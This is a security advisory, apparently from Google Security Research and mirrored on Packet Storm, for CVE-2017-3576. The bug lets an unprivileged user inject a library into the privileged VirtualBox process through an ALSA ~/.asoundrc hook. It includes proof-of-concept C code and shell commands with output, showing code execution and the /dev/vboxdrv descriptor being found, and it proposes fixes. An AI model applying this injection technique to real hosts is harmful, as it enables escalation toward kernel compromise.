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packetstormGoogle Security ResearchPACKETSTORM:142206
HistoryApr 19, 2017 - 12:00 a.m.

VirtualBox Unprivilege Host User To Host Kernel Privilege Escalation

2017-04-1900:00:00
Google Security Research
packetstormsecurity.com
46

0.001 Low

EPSS

Percentile

28.8%

` VirtualBox: unprivileged host user -> host kernel privesc via ALSA config   
  
CVE-2017-3576  
  
  
This is another way to escalate from an unprivileged userspace process  
into the VirtualBox process, which has an open file descriptor to the  
privileged device /dev/vboxdrv and can use that to compromise the  
host kernel.  
  
The issue is that, for VMs with ALSA audio, the privileged VM host  
process loads libasound, which parses ALSA configuration files,  
including one at ~/.asoundrc. ALSA is not designed to run in a setuid  
context and therefore deliberately permits loading arbitrary shared  
libraries via dlopen().  
  
To reproduce, on a normal Ubuntu desktop installation with VirtualBox  
installed, first configure a VM with ALSA audio, then (where  
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):  
  
  
~$ cd /tmp  
/tmp$ cat > evil_vbox_lib.c  
#define _GNU_SOURCE  
  
#include <string.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <sys/prctl.h>  
  
extern char *program_invocation_short_name;  
  
__attribute__((constructor)) void run(void) {  
if (strcmp(program_invocation_short_name, "VirtualBox"))  
return;  
  
prctl(PR_SET_DUMPABLE, 1);  
printf("running in pid %d\n", getpid());  
printf("searching for vboxdrv file descriptor in current process...\n");  
char linkbuf[1000];  
char *needle = "/dev/vboxdrv";  
for (int i=0; i<1000; i++) {  
char linkpath[1000];  
sprintf(linkpath, "/proc/self/fd/%d", i);  
ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);  
if (linklen == -1) continue;  
if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {  
printf("found it, fd %d is /dev/vboxdrv\n", i);  
}  
}  
_exit(0);  
}  
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99  
/tmp$ cat > ~/.asoundrc  
hook_func.pulse_load_if_running {  
lib "/tmp/evil_vbox_lib.so"  
func "conf_pulse_hook_load_if_running"  
}  
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c  
running in pid 8910  
searching for vboxdrv file descriptor in current process...  
found it, fd 7 is /dev/vboxdrv  
/tmp$ rm ~/.asoundrc  
  
  
I believe that the ideal way to fix this would involve running  
libasound, together with other code that doesn't require elevated  
privileges - which would ideally be all userland code -, in an  
unprivileged process. However, for now, moving only the audio output  
handling into an unprivileged process might also do the job; I haven't  
yet checked whether there are more libraries VirtualBox loads that  
permit loading arbitrary libraries into the VirtualBox process.  
  
You could probably theoretically also fix this by modifying libasound  
to suppress dangerous configuration directives in ~/.asoundrc, but I  
believe that that would be brittle and hard to maintain.  
  
Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>.  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: jannh  
  
`